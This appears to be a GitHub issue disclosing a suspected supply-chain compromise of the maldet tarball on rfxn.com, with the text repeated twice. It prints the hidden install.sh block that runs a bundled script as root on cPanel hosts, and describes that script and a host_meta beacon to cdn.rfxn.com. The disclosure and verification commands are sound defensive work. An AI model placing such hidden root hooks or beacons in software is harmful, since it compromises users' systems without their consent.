Summary
The maldet tarball currently served from https://www.rfxn.com/downloads/maldetect-current.tar.gz contains code that does not exist in this GitHub repository. install.sh silently executes a bundled script as root on install/upgrade, and a bundled host_meta beacons a host fingerprint to cdn.rfxn.com. This appears to be a compromise of the rfxn.com distribution channel (or build pipeline), since the official source tree here is clean.
Discovered while installing maldet on a server. The payload is cPanel-gated, so it did not execute on my host.
Affected artifact
|
|
| URL |
https://www.rfxn.com/downloads/maldetect-current.tar.gz |
| Version |
1.6.6 |
| Tarball SHA-256 |
76f1d260dac5e0bb3ca487f8d3e119655196de87b08ec89dfd73155e083feb5d |
Injected files (mtimes inside the archive — May 2026):
files/internals/cve-2026-41940 — 12,537 bytes, 2026-05-13
files/internals/host_meta — 7,328 bytes, 2026-05-13
install.sh — 6,487 bytes, 2026-05-10 (carries the hidden invocation block)
Proof it is injected (not from this repo)
Checked against github.com/rfxn/linux-malware-detect master:
install.sh → 0 references to cve-2026-41940 or suspendreseller
files/internals/cve-2026-41940 → HTTP 404 (does not exist)
files/internals/host_meta → HTTP 404 (does not exist)
The hidden block in the tarball's install.sh
# CVE-2026-41940 - one-shot cPanel defensive remediation (sentinel-gated)
if [ -e /usr/local/cpanel/cpanel ] \
&& [ ! -e $inspath/cve-2026-41940.done ] \
&& [ -f $inspath/internals/cve-2026-41940 ]; then
chmod 750 $inspath/internals/cve-2026-41940
( bash $inspath/internals/cve-2026-41940 ) >> /dev/null 2>&1 || true
fi
What internals/cve-2026-41940 does (as root, output suppressed)
kill -9s processes whose exe is /root/sshd, nuclear.*, or /root/.local/bin/system-service; quarantines the files
- Auto-suspends a cPanel reseller:
whmapi1 suspendreseller user=sptadm when the domain 4ef72197.cpx.local + sptadm account are present
- Disables/quarantines a
dbus-broker-helper.service unit, /etc/udev/rules.d/89-cdrom-id-helper.rules, /tmp/seobot.zip, and xmrig miner paths
- Arms a sentinel
/usr/local/maldetect/cve-2026-41940.done
It is styled to look like legitimate one-shot vendor IR (GPL/R-fx headers, fingerprint-gating, sentinel-arming), which makes it more concerning, not less.
internals/host_meta (telemetry / beacon)
Builds:
lmd_referer="LMD:<ver>:<hostid>:<os>:cp<Y/N>:b<build>:c<compromise>:r<remediated>"
…encoding OS family, cPanel presence, an IOC/"compromise" fingerprint (checks for sptadm, xmrig, dbus-broker-helper, system-service, etc.) and the remediation-sentinel state — and sends it to cdn.rfxn.com during signature updates.
Reproduction
# 1) Confirm the injected files are present in the served tarball
curl -s https://www.rfxn.com/downloads/maldetect-current.tar.gz \
| tar tz | grep -E 'internals/(cve-2026-41940|host_meta)'
# 2) Extract and READ (do NOT run install.sh)
curl -s -o /tmp/lmd.tgz https://www.rfxn.com/downloads/maldetect-current.tar.gz
mkdir -p /tmp/lmd && tar xzf /tmp/lmd.tgz -C /tmp/lmd --strip-components=1
grep -n 'cve-2026-41940' /tmp/lmd/install.sh
sed -n '1,60p' /tmp/lmd/files/internals/cve-2026-41940
# 3) Compare to the clean GitHub source (these return 404)
curl -s -o /dev/null -w '%{http_code}\n' \
https://raw.githubusercontent.com/rfxn/linux-malware-detect/master/files/internals/cve-2026-41940
curl -s -o /dev/null -w '%{http_code}\n' \
https://raw.githubusercontent.com/rfxn/linux-malware-detect/master/files/internals/host_meta
Impact
Anyone installing maldet from the rfxn.com tarball right now runs the injected root code. On cPanel hosts it will kill processes, quarantine files, and suspend a reseller account (sptadm) with no prompt or consent; all hosts beacon a fingerprint to cdn.rfxn.com.
Note: the official, documented install path, git clone https://github.com/rfxn/linux-malware-detect.git && cd linux-malware-detect && ./install.sh — installs the clean source and is not affected. Only the rfxn.com tarball is.
Reported after discovering this on a shared hosting server during a routine maldet install. Payload artifacts preserved offline for inspection.
Summary
The maldet tarball currently served from
https://www.rfxn.com/downloads/maldetect-current.tar.gzcontains code that does not exist in this GitHub repository.install.shsilently executes a bundled script as root on install/upgrade, and a bundledhost_metabeacons a host fingerprint tocdn.rfxn.com. This appears to be a compromise of the rfxn.com distribution channel (or build pipeline), since the official source tree here is clean.Discovered while installing maldet on a server. The payload is cPanel-gated, so it did not execute on my host.
Affected artifact
https://www.rfxn.com/downloads/maldetect-current.tar.gz76f1d260dac5e0bb3ca487f8d3e119655196de87b08ec89dfd73155e083feb5dInjected files (mtimes inside the archive — May 2026):
files/internals/cve-2026-41940— 12,537 bytes, 2026-05-13files/internals/host_meta— 7,328 bytes, 2026-05-13install.sh— 6,487 bytes, 2026-05-10 (carries the hidden invocation block)Proof it is injected (not from this repo)
Checked against
github.com/rfxn/linux-malware-detectmaster:install.sh→ 0 references tocve-2026-41940orsuspendresellerfiles/internals/cve-2026-41940→ HTTP 404 (does not exist)files/internals/host_meta→ HTTP 404 (does not exist)The hidden block in the tarball's
install.shWhat
internals/cve-2026-41940does (as root, output suppressed)kill -9s processes whose exe is/root/sshd,nuclear.*, or/root/.local/bin/system-service; quarantines the fileswhmapi1 suspendreseller user=sptadmwhen the domain4ef72197.cpx.local+sptadmaccount are presentdbus-broker-helper.serviceunit,/etc/udev/rules.d/89-cdrom-id-helper.rules,/tmp/seobot.zip, and xmrig miner paths/usr/local/maldetect/cve-2026-41940.doneIt is styled to look like legitimate one-shot vendor IR (GPL/R-fx headers, fingerprint-gating, sentinel-arming), which makes it more concerning, not less.
internals/host_meta(telemetry / beacon)Builds:
…encoding OS family, cPanel presence, an IOC/"compromise" fingerprint (checks for
sptadm, xmrig,dbus-broker-helper,system-service, etc.) and the remediation-sentinel state — and sends it tocdn.rfxn.comduring signature updates.Reproduction
Impact
Anyone installing maldet from the rfxn.com tarball right now runs the injected root code. On cPanel hosts it will kill processes, quarantine files, and suspend a reseller account (
sptadm) with no prompt or consent; all hosts beacon a fingerprint tocdn.rfxn.com.Note: the official, documented install path,
git clone https://github.com/rfxn/linux-malware-detect.git && cd linux-malware-detect && ./install.sh— installs the clean source and is not affected. Only the rfxn.com tarball is.Reported after discovering this on a shared hosting server during a routine maldet install. Payload artifacts preserved offline for inspection.